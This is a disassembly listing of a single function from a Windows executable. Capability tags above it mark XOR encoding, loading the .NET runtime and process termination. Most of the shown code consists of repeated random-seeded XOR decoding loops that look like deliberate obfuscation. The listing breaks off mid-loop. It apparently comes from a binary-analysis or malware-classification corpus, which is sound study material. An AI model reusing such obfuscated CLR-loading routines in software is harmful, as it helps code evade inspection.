Function at 0x403ae0
Capabilities:
Encode data using xor
Load windows common language runtime
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x528c30
mov eax, dword fs:[0]
push eax
sub esp, 0x134
push esi
push edi
mov eax, dword [0x8611f4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
xor ecx, ecx
call fcn.00401ae0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ecx, eax
call fcn.00401730
lea eax, [ebp - 0x84]
mov dword [ebp - 0x84], 0
push eax
push 0x758ca8
push 0x758c98
call dword [sym.imp.mscoree.dll_CLRCreateInstance]
cmp byte [0x8a8f67], 0
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], 0
jne 0x403d04
xor esi, esi
mov dword [ebp - 0x10], esi
lea ecx, [ebp - 0x24]
call fcn.00401410
call edi
cdq
push edx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.00528990
push 0
push 0x10
push edx
push eax
call fcn.00528990
inc eax
lea ecx, [ebp - 0xf0]
xor eax, 0x10
shl eax, 0xa
or eax, 0x1010101
mov dword [esi + 0x8a9010], eax
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x20
push edx
push eax
call fcn.00528990
mov ecx, dword [ebp - 0x10]
inc eax
xor eax, 0x20
shl eax, 0xb
or eax, 0x1010101
mov dword [ecx + 0x8a8fd0], eax
lea ecx, [ebp - 0xc0]
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], esi
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x40
push edx
push eax
call fcn.00528990
mov esi, dword [ebp - 0x10]
inc eax
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor eax, 0x40
shl eax, 0xc
or eax, 0x1010101
mov dword [esi + 0x8a8f90], eax
add esi, 4
mov dword [ebp - 0x10], esi
cmp esi, 0x40
jl 0x403b63
lea ecx, [ebp - 0x24]
call fcn.00401410
xor esi, esi
nop dword [eax]
call edi
and eax, 0x8000000f
jns 0x403c4e
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.00528990
mov byte [esi + 0x8a8f8c], al
inc esi
cmp esi, 4
jb 0x403c40
lea ecx, [ebp - 0xc8]
call fcn.00401410
xor esi, esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x30], eax
call edi
and eax, 0x8000000f
jns 0x403c93
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x30]
push dword [ebp - 0x40]
call fcn.00528990
mov byte [esi + 0x8a8f84], al
inc esi
cmp esi, 8
jb 0x403c85
lea ecx, [ebp - 0xd0]
call fcn.00401410
xor esi, esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x30], eax
nop word [eax + eax]
call edi
and eax, 0x8000000f
jns 0x403cde
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x30]
push dword [ebp - 0x40]
call fcn.00528990
mov byte [esi + 0x8a8f78], al
inc esi
cmp esi, 0xc
jb 0x403cd0
mov byte [0x8a8f67], 1
xor eax, eax
mov dword [ebp - 0x28], eax
nop dword [eax]
mov dl, byte [ebp + eax - 0x18]
lea eax, [ebp + eax - 0x18]
xor esi, esi
mov dword [ebp - 0x30], eax
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f8c]
inc esi
mov al, byte [ecx*4 + 0x8a9010]
xor al, byte [ecx*4 + 0x8a9012]
xor al, byte [ecx*4 + 0x8a9011]
xor dl, al
xor dl, byte [ecx*4 + 0x8a9013]
cmp esi, 4
jb 0x403d20
xor esi, esi
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f84]
inc esi
mov al, byte [ecx*4 + 0x8a8fd0]
xor al, byte [ecx*4 + 0x8a8fd2]
xor al, byte [ecx*4 + 0x8a8fd1]
xor dl, al
xor dl, byte [ecx*4 + 0x8a8fd3]
cmp esi, 8
jb 0x403d50
xor esi, esi
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f78]
inc esi
mov al, byte [ecx*4 + 0x8a9010]
xor al, byte [ecx*4 + 0x8a9012]
xor al, byte [ecx*4 + 0x8a9011]
xor dl, al
xor dl, byte [ecx*4 + 0x8a9013]
cmp esi, 0xc
jb 0x403d80
mov eax, dword [ebp - 0x30]
mov byte [eax], dl
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 4
jb 0x403d10
cmp byte [0x8a9051], 0
mov dword [ebp - 0x38], 0
jne 0x403de1
mov dword [0x8a9454], 0x401650
mov byte [0x8a9051], 1
cmp byte [0x8a9050], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x30], eax
jne 0x403e21
mov edx, 0xfeeddccb
mov ecx, 0x8a9058
nop word [eax + eax]
mov eax, edx
sub edx, 0xffff
xor eax, 0xababdbf3
mov dword [ecx], eax
add ecx, 4
cmp ecx, 0x8a9454
jl 0x403e00
mov byte [0x8a9050], 1
mov dword [ebp - 0x10], 0xfae9e8d7
xor esi, esi
mov dl, 0xd7
nop dword [eax]
mov cl, byte [ebp + esi - 0x30]
inc esi
xor byte [ebp - 0xf], cl
mov al, cl
xor byte [ebp - 0xe], cl
xor al, dl
xor byte [ebp - 0xd], cl
not cl
mov byte [ebp - 0x10], al
movzx eax, cl
mov edx, dword [eax*4 + 0x8a9058]
xor edx, dword [ebp - 0x10]
mov dword [ebp - 0x10], edx
cmp esi, 4
jb 0x403e30
mov al, dl
mov dword [ebp - 0x28], 4
xor al, 4
mov byte [ebp - 0x28], 4
mov esi, dword [ebp - 0x28]
mov ecx, esi
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x10]
shl ecx, 0x18
xor eax, ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x10], eax
shr eax, 8
xor al, 0xcc
mov dword [ebp - 0x48], 4
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x10]
mov byte [ebp - 0x48], 4
mov edx, dword [ebp - 0x48]
mov ecx, edx
shl ecx, 0x18
xor eax, ecx
shl esi, 0x10
movzx ecx, byte [ebp - 0x15]
mov dword [ebp - 0x10], eax
shr eax, 0x10
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x10]
xor eax, esi
shl edx, 8
mov dword [ebp - 0x10], eax
shr eax, 0x18
xor al, 0xae
imul ecx, ecx, 0xff
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x10]
xor eax, edx
mov edx, dword [ebp - 0x18]
and eax, dword [ebp - 0x30]
movzx edx, dl
neg edx
shl edx, 7
sub edx, ecx
dec edx
xor edx, eax
cmp byte [0x8a9052], 0
mov dword [ebp - 0x38], edx
jne 0x403eff
mov dword [0x8a9454], 0x401650
mov byte [0x8a9052], 1
cmp byte [0x8a8f67], 0
mov dword [ebp - 0x18], 0
jne 0x4040b4
xor esi, esi
mov dword [ebp - 0x10], esi
lea ecx, [ebp - 0x24]
call fcn.00401410
call edi
cdq
push edx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.00528990
push 0
push 0x10
push edx
push eax
call fcn.00528990
inc eax
lea ecx, [ebp - 0xd8]
xor eax, 0x10
shl eax, 0xa
or eax, 0x1010101
mov dword [esi + 0x8a9010], eax
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x20
push edx
push eax
call fcn.00528990
mov ecx, dword [ebp - 0x10]
inc eax
xor eax, 0x20
shl eax, 0xb
or eax, 0x1010101
mov dword [ecx + 0x8a8fd0], eax
lea ecx, [ebp - 0xe0]
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], esi
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x40
push edx
push eax
call fcn.00528990
mov esi, dword [ebp - 0x10]
inc eax
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor eax, 0x40
shl eax, 0xc
or eax, 0x1010101
mov dword [esi + 0x8a8f90], eax
add esi, 4
mov dword [ebp - 0x10], esi
cmp esi, 0x40
jl 0x403f18
lea ecx, [ebp - 0x24]
call fcn.00401410
xor esi, esi
call edi
and eax, 0x8000000f
jns 0x404000
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.00528990
mov byte [esi + 0x8a8f8c], al
inc esi
cmp esi, 4
jb 0x403ff2
lea ecx, [ebp - 0xe8]
call fcn.00401410
xor esi, esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x30], eax
call edi
and eax, 0x8000000f
jns 0x404045
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x30]
push dword [ebp - 0x40]
call fcn.00528990
mov byte [esi + 0x8a8f84], al
inc esi
cmp esi, 8
jb 0x404037
lea ecx, [ebp - 0x9c]
call fcn.00401410
xor esi, esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x30], eax
nop dword [eax]
call edi
and eax, 0x8000000f
jns 0x40408e
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x30]
push dword [ebp - 0x40]
call fcn.00528990
mov byte [esi + 0x8a8f78], al
inc esi
cmp esi, 0xc
jb 0x404080
mov byte [0x8a8f67], 1
xor eax, eax
mov dword [ebp - 0x28], eax
nop dword [eax]
mov dl, byte [ebp + eax - 0x18]
lea eax, [ebp + eax - 0x18]
xor esi, esi
mov dword [ebp - 0x30], eax
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f8c]
inc esi
mov al, byte [ecx*4 + 0x8a9010]
xor al, byte [ecx*4 + 0x8a9012]
xor al, byte [ecx*4 + 0x8a9011]
xor dl, al
xor dl, byte [ecx*4 + 0x8a9013]
cmp esi, 4
jb 0x4040d0
xor esi, esi
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f84]
inc esi
mov al, byte [ecx*4 + 0x8a8fd0]
xor al, byte [ecx*4 + 0x8a8fd2]
xor al, byte [ecx*4 + 0x8a8fd1]
xor dl, al
xor dl, byte [ecx*4 + 0x8a8fd3]
cmp esi, 8
jb 0x404100
xor esi, esi
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f78]
inc esi
mov al, byte [ecx*4 + 0x8a9010]
xor al, byte [ecx*4 + 0x8a9012]
xor al, byte [ecx*4 + 0x8a9011]
xor dl, al
xor dl, byte [ecx*4 + 0x8a9013]
cmp esi, 0xc
jb 0x404130
mov eax, dword [ebp - 0x30]
mov byte [eax], dl
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 4
jb 0x4040c0
cmp byte [0x8a9050], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x30], eax
jne 0x4041b1
mov edx, 0xfeeddccb
mov ecx, 0x8a9058
nop dword [eax]
mov eax, edx
sub edx, 0xffff
xor eax, 0xababdbf3
mov dword [ecx], eax
add ecx, 4
cmp ecx, 0x8a9454
jl 0x404190
mov byte [0x8a9050], 1
mov dword [ebp - 0x10], 0xfae9e8d7
xor edx, edx
mov cl, 0xd7
nop dword [eax]
mov al, byte [ebp + edx - 0x30]
inc edx
xor byte [ebp - 0xf], al
xor cl, al
xor byte [ebp - 0xe], al
xor byte [ebp - 0xd], al
not al
movzx eax, al
mov byte [ebp - 0x10], cl
mov ecx, dword [eax*4 + 0x8a9058]
xor ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], ecx
cmp edx, 4
jb 0x4041c0
mov al, cl
mov dword [ebp - 0x28], ecx
xor al, 4
mov dword [ebp - 0x48], 4
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x10]
mov byte [ebp - 0x48], 4
mov esi, dword [ebp - 0x48]
mov ecx, esi
shl ecx, 0x18
xor eax, ecx
mov dword [ebp - 0x58], 4
mov dword [ebp - 0x10], eax
shr eax, 8
xor al, 0xcc
mov byte [ebp - 0x58], 4
mov edx, dword [ebp - 0x58]
mov ecx, edx
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x10]
shl ecx, 0x18
xor eax, ecx
shl esi, 0x10
movzx ecx, byte [ebp - 0x15]
mov dword [ebp - 0x10], eax
shr eax, 0x10
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x10]
xor eax, esi
shl edx, 8
mov dword [ebp - 0x10], eax
shr eax, 0x18
xor al, 0xae
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x10]
xor eax, edx
imul edx, ecx, 0xff
mov ecx, dword [ebp - 0x18]
movzx ecx, cl
imul ecx, ecx, 0xffffff80
sub ecx, edx
lea edx, [ecx - 1]
mov ecx, dword [ebp - 0x28]
and ecx, eax
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x18]
xor ecx, edx
cmp byte [0x8a9050], 0
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x3c], eax
jne 0x4042c1
mov edx, 0xfeeddccb
mov ecx, 0x8a9058
nop dword [eax]
nop dword [eax + eax]
mov eax, edx
sub edx, 0xffff
xor eax, 0xababdbf3
mov dword [ecx], eax
add ecx, 4
cmp ecx, 0x8a9454
jl 0x4042a0
mov byte [0x8a9050], 1
mov dword [ebp - 0x10], 0xfae9e8d7
xor edx, edx
mov cl, 0xd7
nop dword [eax]
mov al, byte [ebp + edx - 0x3c]
inc edx
xor byte [ebp - 0xf], al
xor cl, al
xor byte [ebp - 0xe], al
xor byte [ebp - 0xd], al
not al
movzx eax, al
mov byte [ebp - 0x10], cl
mov ecx, dword [eax*4 + 0x8a9058]
xor ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], ecx
cmp edx, 4
jb 0x4042d0
movzx eax, byte [ebp - 0x58]
mov dword [ebp - 0x30], 4
mov byte [ebp - 0x30], al
movzx eax, byte [ebp - 0x48]
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x40], 4
mov byte [ebp - 0x40], al
mov al, cl
mov esi, dword [ebp - 0x40]
xor al, 4
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x50], ecx
mov ecx, esi
shl ecx, 0x18
xor eax, ecx
shl esi, 0x10
mov dword [ebp - 0x10], eax
mov ecx, edx
shr eax, 8
xor al, 0xcc
shl ecx, 0x18
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x10]
xor eax, ecx
shl edx, 8
mov dword [ebp - 0x10], eax
shr eax, 0x10
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x10]
xor eax, esi
mov dword [ebp - 0x10], eax
shr eax, 0x18
xor al, 0xae
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x10]
xor eax, edx
mov edx, dword [ebp - 0x28]
and eax, dword [ebp - 0x50]
xor eax, dword [ebp - 0x1c]
cmp eax, edx
je 0x404392
mov esi, dword [0x8a9454]
sub esp, 0x28
mov ecx, esp
push eax
push edx
call fcn.00401510
lea ecx, [ebp - 0x3c]
call esi
mov eax, dword [ebp - 0x3c]
jmp 0x404395
mov eax, dword [ebp - 0x18]
cmp byte [0x8a8f67], 0
mov dword [ebp - 0x40], eax
jne 0x40453c
xor esi, esi
mov dword [ebp - 0x28], esi
nop word [eax + eax]
lea ecx, [ebp - 0x24]
call fcn.00401410
call edi
cdq
push edx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.00528990
push 0
push 0x10
push edx
push eax
call fcn.00528990
inc eax
lea ecx, [ebp - 0x34]
xor eax, 0x10
shl eax, 0xa
or eax, 0x1010101
mov dword [esi + 0x8a9010], eax
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x20
push edx
push eax
call fcn.00528990
mov ecx, dword [ebp - 0x28]
inc eax
xor eax, 0x20
shl eax, 0xb
or eax, 0x1010101
mov dword [ecx + 0x8a8fd0], eax
lea ecx, [ebp - 0x4c]
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], esi
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x40
push edx
push eax
call fcn.00528990
mov esi, dword [ebp - 0x28]
inc eax
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor eax, 0x40
shl eax, 0xc
or eax, 0x1010101
mov dword [esi + 0x8a8f90], eax
add esi, 4
mov dword [ebp - 0x28], esi
cmp esi, 0x40
jl 0x4043b0
lea ecx, [ebp - 0x24]
call fcn.00401410
xor esi, esi
call edi
and eax, 0x8000000f
jns 0x404492
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.00528990
mov byte [esi + 0x8a8f8c], al
inc esi
cmp esi, 4
jb 0x404484
lea ecx, [ebp - 0x24]
call fcn.00401410
xor esi, esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x1c], eax
call edi
and eax, 0x8000000f
jns 0x4044d4
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x50]
call fcn.00528990
mov byte [esi + 0x8a8f84], al
inc esi
cmp esi, 8
jb 0x4044c6
lea ecx, [ebp - 0x2c]
call fcn.00401410
xor esi, esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x1c], eax
call edi
and eax, 0x8000000f
jns 0x404516
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x1c]
push dword [ebp - 0x50]
call fcn.00528990
mov byte [esi + 0x8a8f78], al
inc esi
cmp esi, 0xc
jb 0x404508
mov byte [0x8a8f67], 1
xor eax, eax
mov dword [ebp - 0x30], eax
mov dl, byte [ebp + eax - 0x40]
lea eax, [ebp + eax - 0x40]
xor esi, esi
mov dword [ebp - 0x1c], eax
nop
movzx ecx, byte [esi + 0x8a8f8c]
inc esi
mov al, byte [ecx*4 + 0x8a9010]
xor al, byte [ecx*4 + 0x8a9012]
xor al, byte [ecx*4 + 0x8a9011]
xor dl, al
xor dl, byte [ecx*4 + 0x8a9013]
cmp esi, 4
jb 0x404550
xor esi, esi
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f84]
inc esi
mov al, byte [ecx*4 + 0x8a8fd0]
xor al, byte [ecx*4 + 0x8a8fd2]
xor al, byte [ecx*4 + 0x8a8fd1]
xor dl, al
xor dl, byte [ecx*4 + 0x8a8fd3]
cmp esi, 8
jb 0x404580
xor esi, esi
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f78]
inc esi
mov al, byte [ecx*4 + 0x8a9010]
xor al, byte [ecx*4 + 0x8a9012]
xor al, byte [ecx*4 + 0x8a9011]
xor dl, al
xor dl, byte [ecx*4 + 0x8a9013]
cmp esi, 0xc
jb 0x4045b0
mov eax, dword [ebp - 0x1c]
mov byte [eax], dl
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 4
jb 0x404541
lea ecx, [ebp - 0x3c]
call fcn.00401690
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x40]
jge 0x404605
call fcn.00402ec0
cmp byte [0x8a8f67], 0
mov dword [ebp - 0x18], 0
jne 0x4047c4
xor esi, esi
mov dword [ebp - 0x28], esi
nop
lea ecx, [ebp - 0x24]
call fcn.00401410
call edi
cdq
push edx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.00528990
push 0
push 0x10
push edx
push eax
call fcn.00528990
inc eax
lea ecx, [ebp - 0x9c]
xor eax, 0x10
shl eax, 0xa
or eax, 0x1010101
mov dword [esi + 0x8a9010], eax
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x20
push edx
push eax
call fcn.00528990
mov ecx, dword [ebp - 0x28]
inc eax
xor eax, 0x20
shl eax, 0xb
or eax, 0x1010101
mov dword [ecx + 0x8a8fd0], eax
lea ecx, [ebp - 0xe8]
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], esi
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x40
push edx
push eax
call fcn.00528990
mov esi, dword [ebp - 0x28]
inc eax
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor eax, 0x40
shl eax, 0xc
or eax, 0x1010101
mov dword [esi + 0x8a8f90], eax
add esi, 4
mov dword [ebp - 0x28], esi
cmp esi, 0x40
jl 0x404620
lea ecx, [ebp - 0x24]
call fcn.00401410
xor esi, esi
nop word [eax + eax]
call edi
and eax, 0x8000000f
jns 0x40470e
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.00528990
mov byte [esi + 0x8a8f8c], al
inc esi
cmp esi, 4
jb 0x404700
lea ecx, [ebp - 0xe0]
call fcn.00401410
xor esi, esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], eax
call edi
and eax, 0x8000000f
jns 0x404753
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
call fcn.00528990
mov byte [esi + 0x8a8f84], al
inc esi
cmp esi, 8
jb 0x404745
lea ecx, [ebp - 0xd8]
call fcn.00401410
xor esi, esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], eax
nop word [eax + eax]
call edi
and eax, 0x8000000f
jns 0x40479e
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
call fcn.00528990
mov byte [esi + 0x8a8f78], al
inc esi
cmp esi, 0xc
jb 0x404790
mov byte [0x8a8f67], 1
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
mov dl, byte [ebp + eax - 0x18]
lea eax, [ebp + eax - 0x18]
xor esi, esi
mov dword [ebp - 0x14], eax
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f8c]
inc esi
mov al, byte [ecx*4 + 0x8a9010]
xor al, byte [ecx*4 + 0x8a9012]
xor al, byte [ecx*4 + 0x8a9011]
xor dl, al
xor dl, byte [ecx*4 + 0x8a9013]
cmp esi, 4
jb 0x4047e0
xor esi, esi
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f84]
inc esi
mov al, byte [ecx*4 + 0x8a8fd0]
xor al, byte [ecx*4 + 0x8a8fd2]
xor al, byte [ecx*4 + 0x8a8fd1]
xor dl, al
xor dl, byte [ecx*4 + 0x8a8fd3]
cmp esi, 8
jb 0x404810
xor esi, esi
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f78]
inc esi
mov al, byte [ecx*4 + 0x8a9010]
xor al, byte [ecx*4 + 0x8a9012]
xor al, byte [ecx*4 + 0x8a9011]
xor dl, al
xor dl, byte [ecx*4 + 0x8a9013]
cmp esi, 0xc
jb 0x404840
mov eax, dword [ebp - 0x14]
mov byte [eax], dl
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 4
jb 0x4047d0
cmp byte [0x8a9051], 0
mov dword [ebp - 0x50], 0
jne 0x4048a1
mov dword [0x8a9454], 0x401650
mov byte [0x8a9051], 1
cmp byte [0x8a9050], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
jne 0x4048e1
mov edx, 0xfeeddccb
mov ecx, 0x8a9058
nop word [eax + eax]
mov eax, edx
sub edx, 0xffff
xor eax, 0xababdbf3
mov dword [ecx], eax
add ecx, 4
cmp ecx, 0x8a9454
jl 0x4048c0
mov byte [0x8a9050], 1
mov dword [ebp - 0x10], 0xfae9e8d7
xor esi, esi
mov dl, 0xd7
nop dword [eax]
mov cl, byte [ebp + esi - 0x14]
inc esi
xor byte [ebp - 0xf], cl
mov al, cl
xor byte [ebp - 0xe], cl
xor al, dl
xor byte [ebp - 0xd], cl
not cl
mov byte [ebp - 0x10], al
movzx eax, cl
mov edx, dword [eax*4 + 0x8a9058]
xor edx, dword [ebp - 0x10]
mov dword [ebp - 0x10], edx
cmp esi, 4
jb 0x4048f0
mov al, dl
mov dword [ebp - 0x30], 4
xor al, 4
mov byte [ebp - 0x30], 4
mov esi, dword [ebp - 0x30]
mov ecx, esi
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x10]
shl ecx, 0x18
xor eax, ecx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], eax
shr eax, 8
xor al, 0xcc
mov dword [ebp - 0x40], 4
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x10]
mov byte [ebp - 0x40], 4
mov edx, dword [ebp - 0x40]
mov ecx, edx
shl ecx, 0x18
xor eax, ecx
shl esi, 0x10
movzx ecx, byte [ebp - 0x15]
mov dword [ebp - 0x10], eax
shr eax, 0x10
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x10]
xor eax, esi
shl edx, 8
mov dword [ebp - 0x10], eax
shr eax, 0x18
xor al, 0xae
imul ecx, ecx, 0xff
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x10]
xor eax, edx
mov edx, dword [ebp - 0x18]
and eax, dword [ebp - 0x14]
movzx edx, dl
neg edx
shl edx, 7
sub edx, ecx
dec edx
xor edx, eax
cmp byte [0x8a9052], 0
mov dword [ebp - 0x50], edx
jne 0x4049bf
mov dword [0x8a9454], 0x401650
mov byte [0x8a9052], 1
cmp byte [0x8a8f67], 0
mov dword [ebp - 0x18], 0
jne 0x404b74
xor esi, esi
mov dword [ebp - 0x28], esi
lea ecx, [ebp - 0x24]
call fcn.00401410
call edi
cdq
push edx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.00528990
push 0
push 0x10
push edx
push eax
call fcn.00528990
inc eax
lea ecx, [ebp - 0xd0]
xor eax, 0x10
shl eax, 0xa
or eax, 0x1010101
mov dword [esi + 0x8a9010], eax
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x20
push edx
push eax
call fcn.00528990
mov ecx, dword [ebp - 0x28]
inc eax
xor eax, 0x20
shl eax, 0xb
or eax, 0x1010101
mov dword [ecx + 0x8a8fd0], eax
lea ecx, [ebp - 0xc8]
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], esi
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x40
push edx
push eax
call fcn.00528990
mov esi, dword [ebp - 0x28]
inc eax
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor eax, 0x40
shl eax, 0xc
or eax, 0x1010101
mov dword [esi + 0x8a8f90], eax
add esi, 4
mov dword [ebp - 0x28], esi
cmp esi, 0x40
jl 0x4049d8
lea ecx, [ebp - 0x24]
call fcn.00401410
xor esi, esi
call edi
and eax, 0x8000000f
jns 0x404ac0
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.00528990
mov byte [esi + 0x8a8f8c], al
inc esi
cmp esi, 4
jb 0x404ab2
lea ecx, [ebp - 0xc0]
call fcn.00401410
xor esi, esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], eax
call edi
and eax, 0x8000000f
jns 0x404b05
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
call fcn.00528990
mov byte [esi + 0x8a8f84], al
inc esi
